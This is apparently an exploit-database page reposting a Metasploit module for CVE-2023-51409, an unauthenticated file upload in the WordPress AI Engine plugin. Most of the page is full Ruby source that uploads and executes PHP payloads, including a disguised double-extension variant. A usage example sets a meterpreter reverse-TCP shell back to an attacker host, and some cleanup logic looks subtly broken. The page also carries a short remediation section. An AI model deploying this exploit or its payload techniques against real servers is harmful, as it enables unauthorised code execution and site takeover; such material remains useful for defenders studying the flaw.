Lucene search
K

📄 WordPress AI Engine 3.0.0 Shell Upload

🗓️ 04 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 163 Views

Unauthenticated file upload leads to remote code execution in WordPress AI Engine plugin before 3.0.0.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress AI Engine Plugin 3.0.0 Unauthenticated File Upload RCE                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    [+] References : 
    
    [+] Summary    :  This Metasploit module exploits an unauthenticated file upload vulnerability in the WordPress AI Engine plugin (versions < 3.0.0). 
                      The plugin’s REST API endpoint /wp-json/mwai-ui/v1/files/upload fails to properly validate authentication, allowing attackers 
    				  to upload arbitrary files including PHP shells, leading to remote code execution under the web server user.
    
    [+] Module Features:
    
    Detects WordPress installations and AI Engine plugin versions.
    
    Performs safe file upload tests to confirm vulnerability.
    
    Supports uploading PHP payloads and executing them remotely.
    
    Handles stealthy exploitation using double extensions (e.g., .php.jpg).
    
    Optional WordPress credential-based privilege escalation for persistence.
    
    Tracks and optionally cleans up uploaded test files.
    
    Generates verbose output and handles HTTP response parsing with JSON support.
    
    [+] Impact:
    
    Unauthenticated RCE via file upload.
    
    Bypasses WordPress authentication and MIME/type validation.
    
    Enables arbitrary code execution, file system access, and potential server compromise.
    
    [+] Remediation:
    
    Update the AI Engine plugin to version 3.0.0 or higher.
    
    Ensure REST endpoints are properly authenticated.
    
    Validate and whitelist allowed file types for upload.
    
    Store uploaded files outside of the web root if possible.
    
    This module is intended for authorized testing and research and includes safety mechanisms for controlled exploitation.
    
    [+] Usage : 
    
    # Metasploit Module: WordPress AI Engine Plugin RCE
    
    ## Overview
    This Metasploit module exploits CVE-2023-51409, an unauthenticated file upload vulnerability in the WordPress AI Engine plugin (versions < 3.0.0).
    
    ## Vulnerability Details
    - **CVE**: CVE-2023-51409
    - **Plugin**: AI Engine for WordPress
    - **Affected Versions**: < 3.0.0
    - **Vulnerable Endpoint**: `/wp-json/mwai-ui/v1/files/upload`
    - **Risk**: Critical (Unauthenticated RCE)
    
    ## Module Features
    
    ### 1. **Automated Detection**
    - WordPress installation verification
    - AI Engine plugin detection
    - Version checking
    - Vulnerability validation
    
    ### 2. **Exploitation Methods**
    - Direct PHP file upload
    - Stealthy double-extension bypass
    - Multiple payload delivery options
    
    ### 3. **Post-Exploitation**
    - Automatic file cleanup
    - Session handling
    - Optional privilege escalation
    
    ## Usage Examples
    
    ### Basic Exploitation
    
    msf6 > use exploit/multi/http/wp_ai_engine_file_upload
    msf6 exploit(wp_ai_engine_file_upload) > set RHOSTS 192.168.1.100
    msf6 exploit(wp_ai_engine_file_upload) > set TARGETURI /wordpress
    msf6 exploit(wp_ai_engine_file_upload) > set PAYLOAD php/meterpreter/reverse_tcp
    msf6 exploit(wp_ai_engine_file_upload) > set LHOST 192.168.1.10
    msf6 exploit(wp_ai_engine_file_upload) > exploit
    
    ###  Vulnerability Check Only
    
    msf6 > use exploit/multi/http/wp_ai_engine_file_upload
    msf6 exploit(wp_ai_engine_file_upload) > set RHOSTS 192.168.1.100
    msf6 exploit(wp_ai_engine_file_upload) > check
    
    [+] POC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'WordPress AI Engine Plugin Unauthenticated File Upload RCE',
          'Description'    => %q{
            This module exploits an unauthenticated file upload vulnerability in the
            WordPress AI Engine plugin (versions < 3.0.0). The plugin's REST API endpoint
            /wp-json/mwai-ui/v1/files/upload does not properly validate authentication,
            allowing attackers to upload arbitrary files including PHP shells.
            
            This leads to remote code execution as the web server user.
            
            CVE-2023-51409 affects AI Engine plugin versions before 3.0.0.
          },
          'Author'         => [
            'indoushka'
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2023-51409'],
            ['URL', 'https://wpscan.com/vulnerability/...'],
            ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-51409']
          ],
          'Platform'       => ['php'],
          'Arch'           => ARCH_PHP,
          'Targets'        => [['AI Engine Plugin < 3.0.0', {}]],
          'Privileged'     => false,
          'DisclosureDate' => '2023-12-01',
          'DefaultTarget'  => 0,
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
          }
        ))
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
          OptString.new('WP_USER', [false, 'Valid WordPress username (for privilege escalation)', '']),
          OptString.new('WP_PASSWORD', [false, 'Valid WordPress password', '']),
          OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
        ])
    
        register_advanced_options([
          OptInt.new('SLEEP', [true, 'Sleep time between requests (seconds)', 1])
        ])
      end
    
      def check
        vprint_status("Checking if target is WordPress...")
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path)
        })
    
        unless res
          return CheckCode::Unknown('Connection failed')
        end
    
        unless res.body.include?('wp-content') || res.body.include?('wp-includes') || res.body.include?('WordPress')
          return CheckCode::Safe('Target does not appear to be WordPress')
        end
    
        vprint_good('WordPress installation detected')
    
        plugin_paths = [
          '/wp-content/plugins/ai-engine/',
          '/wp-content/plugins/ai-engine-mwai/',
          '/wp-content/plugins/mwai/'
        ]
    
        plugin_found = false
        plugin_version = nil
    
        plugin_paths.each do |path|
          res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, path, 'readme.txt')
          })
    
          next unless res && res.code == 200
    
          if res.body =~ /Stable tag:\s*([0-9.]+)/
            plugin_version = $1
            vprint_good("Found AI Engine plugin version #{plugin_version}")
            plugin_found = true
            break
          end
        end
    
        unless plugin_found
    
          res = send_request_cgi({
            'method' => 'POST',
            'uri'    => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
            'headers' => {
              'Content-Type' => 'application/json'
            },
            'data' => '{"test":"check"}'
          })
    
          if res && (res.code == 200 || res.code == 405)
            vprint_status('AI Engine REST API endpoint detected (version unknown)')
            return CheckCode::Detected('AI Engine plugin detected but version unknown')
          end
    
          return CheckCode::Safe('AI Engine plugin not found')
        end
    
        if plugin_version && Rex::Version.new(plugin_version) < Rex::Version.new('3.0.0')
          vprint_good("Vulnerable version detected: #{plugin_version}")
    
          test_result = test_vulnerability
          if test_result[:vulnerable]
            return CheckCode::Appears("Vulnerable version #{plugin_version} - File upload confirmed")
          else
            return CheckCode::Detected("Version #{plugin_version} should be vulnerable but upload test failed")
          end
        else
          return CheckCode::Safe("Plugin version #{plugin_version} is not vulnerable")
        end
      end
    
      def test_vulnerability
    
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        filename = "test_#{Rex::Text.rand_text_alphanumeric(8)}.txt"
        content = "Metasploit security test - #{Time.now.to_i}"
    
        data = "--#{boundary}\r\n"
        data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\r\n"
        data << "Content-Type: text/plain\r\n\r\n"
        data << content
        data << "\r\n--#{boundary}--\r\n"
    
        res = send_request_cgi({
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
          'headers' => {
            'Content-Type' => "multipart/form-data; boundary=#{boundary}",
            'Content-Length' => data.length.to_s
          },
          'data'    => data
        })
    
        unless res
          return { vulnerable: false, reason: 'No response' }
        end
    
        if res.code == 200
          begin
            json = JSON.parse(res.body)
            if json['success'] && json['data'] && json['data']['url']
              uploaded_url = json['data']['url']
              vprint_good("Test file uploaded successfully: #{uploaded_url}")
    
              verify_res = send_request_cgi({
                'method' => 'GET',
                'uri'    => URI.parse(uploaded_url).path
              })
    
              if verify_res && verify_res.code == 200
                vprint_good("Uploaded file is publicly accessible")
    
                delete_test_file(uploaded_url)
                return { vulnerable: true, uploaded_url: uploaded_url }
              end
            end
          rescue JSON::ParserError
            vprint_error("Invalid JSON response")
          end
        end
    
        { vulnerable: false, reason: "HTTP #{res.code}", response: res.body[0,200] }
      end
    
      def delete_test_file(url)
    
        begin
          path = URI.parse(url).path
    
          send_request_cgi({
            'method' => 'GET',
            'uri'    => path + '?delete=1'
          })
        rescue
    
        end
      end
    
      def exploit
        print_status("Starting exploitation of CVE-2023-51409...")
    
        payload_name = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
        php_payload = "<?php #{payload.encoded} ?>"
    
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
    
        data = "--#{boundary}\r\n"
        data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{payload_name}\"\r\n"
        data << "Content-Type: application/x-php\r\n\r\n"
        data << php_payload
        data << "\r\n--#{boundary}--\r\n"
    
        print_status("Uploading PHP payload: #{payload_name}")
    
        res = send_request_cgi({
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
          'headers' => {
            'Content-Type' => "multipart/form-data; boundary=#{boundary}",
            'Content-Length' => data.length.to_s
          },
          'data'    => data
        })
    
        unless res
          fail_with(Failure::Unreachable, 'Target did not respond')
        end
    
        if res.code == 200
          begin
            json = JSON.parse(res.body)
            if json['success'] && json['data'] && json['data']['url']
              shell_url = json['data']['url']
              print_good("Payload uploaded successfully: #{shell_url}")
    
              register_file_for_cleanup(URI.parse(shell_url).path.gsub(target_uri.path, ''))
    
              print_status("Executing payload at #{shell_url}")
    
              res = send_request_cgi({
                'method' => 'GET',
                'uri'    => URI.parse(shell_url).path
              })
    
              if res && res.code == 200
                print_good("Payload executed successfully")
    
                if datastore['PAYLOAD'].include?('php')
    
                  handler
                end
              else
                print_error("Failed to execute payload (HTTP #{res ? res.code : 'No response'})")
              end
            else
              print_error("Upload failed: #{json['message'] if json['message']}")
              vprint_error("Full response: #{res.body}")
            end
          rescue JSON::ParserError
            print_error("Invalid JSON response from server")
            vprint_error("Response: #{res.body}")
          end
        else
          print_error("Upload failed with HTTP #{res.code}")
          vprint_error("Response: #{res.body}")
        end
      end
    
      def on_new_session(client)
        super
    
        if client.type == 'meterpreter'
          print_status("Attempting to clean up uploaded file...")
          begin
    
            result = client.sys.config.getenv('DOCUMENT_ROOT')
            if result
              web_root = result
    
              shell_path = @shell_path || "/wp-content/uploads/#{Time.now.year}/#{Time.now.month.to_s.rjust(2, '0')}/"
              client.fs.file.rm(web_root + shell_path) rescue nil
            end
          rescue
            print_warning("Could not automatically clean up uploaded file")
          end
        end
      end
    
      def exploit_stealth
        print_status("Attempting stealthy exploitation...")
    
        payload_name = "#{Rex::Text.rand_text_alphanumeric(8)}.php.jpg"
        php_payload = "GIF89a;\n<?php #{payload.encoded} ?>"
        
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        
        data = "--#{boundary}\r\n"
        data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{payload_name}\"\r\n"
        data << "Content-Type: image/jpeg\r\n\r\n"
        data << php_payload
        data << "\r\n--#{boundary}--\r\n"
        
        print_status("Uploading disguised payload: #{payload_name}")
        
        res = send_request_cgi({
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'),
          'headers' => {
            'Content-Type' => "multipart/form-data; boundary=#{boundary}",
            'Content-Length' => data.length.to_s
          },
          'data'    => data
        })
        
        handle_upload_response(res, payload_name)
      end
    
      def handle_upload_response(res, filename)
        unless res
          return false
        end
        
        if res.code == 200
          begin
            json = JSON.parse(res.body)
            if json['success'] && json['data'] && json['data']['url']
              uploaded_url = json['data']['url']
              print_good("File uploaded: #{uploaded_url}")
    
              if filename.end_with?('.php.jpg')
                php_url = uploaded_url.gsub('.jpg', '')
                print_status("Trying to access as PHP: #{php_url}")
                
                res = send_request_cgi({
                  'method' => 'GET',
                  'uri'    => URI.parse(php_url).path
                })
                
                if res && res.code == 200
                  print_good("PHP execution successful via double extension")
                  handler
                  return true
                end
              end
    
              res = send_request_cgi({
                'method' => 'GET',
                'uri'    => URI.parse(uploaded_url).path
              })
              
              if res && res.code == 200
                print_good("Payload executed")
                handler
                return true
              end
            end
          rescue JSON::ParserError
            print_error("Invalid JSON response")
          end
        end
        
        false
      end
    
      def attempt_privilege_escalation
        return unless datastore['WP_USER'] && datastore['WP_PASSWORD']
        
        print_status("Attempting WordPress privilege escalation...")
    
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, 'wp-login.php'),
          'vars_post' => {
            'log' => datastore['WP_USER'],
            'pwd' => datastore['WP_PASSWORD'],
            'wp-submit' => 'Log In',
            'redirect_to' => normalize_uri(target_uri.path, 'wp-admin'),
            'testcookie' => '1'
          }
        })
        
        if res && res.code == 302 && res.headers['Location'].include?('wp-admin')
          print_good("Successfully logged in as #{datastore['WP_USER']}")
    
          cookies = res.get_cookies
    
          print_status("Attempting to upload a malicious plugin for persistence...")
    
        else
          print_error("WordPress login failed")
        end
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19.8 - 10
EPSS0.92907
SSVC
163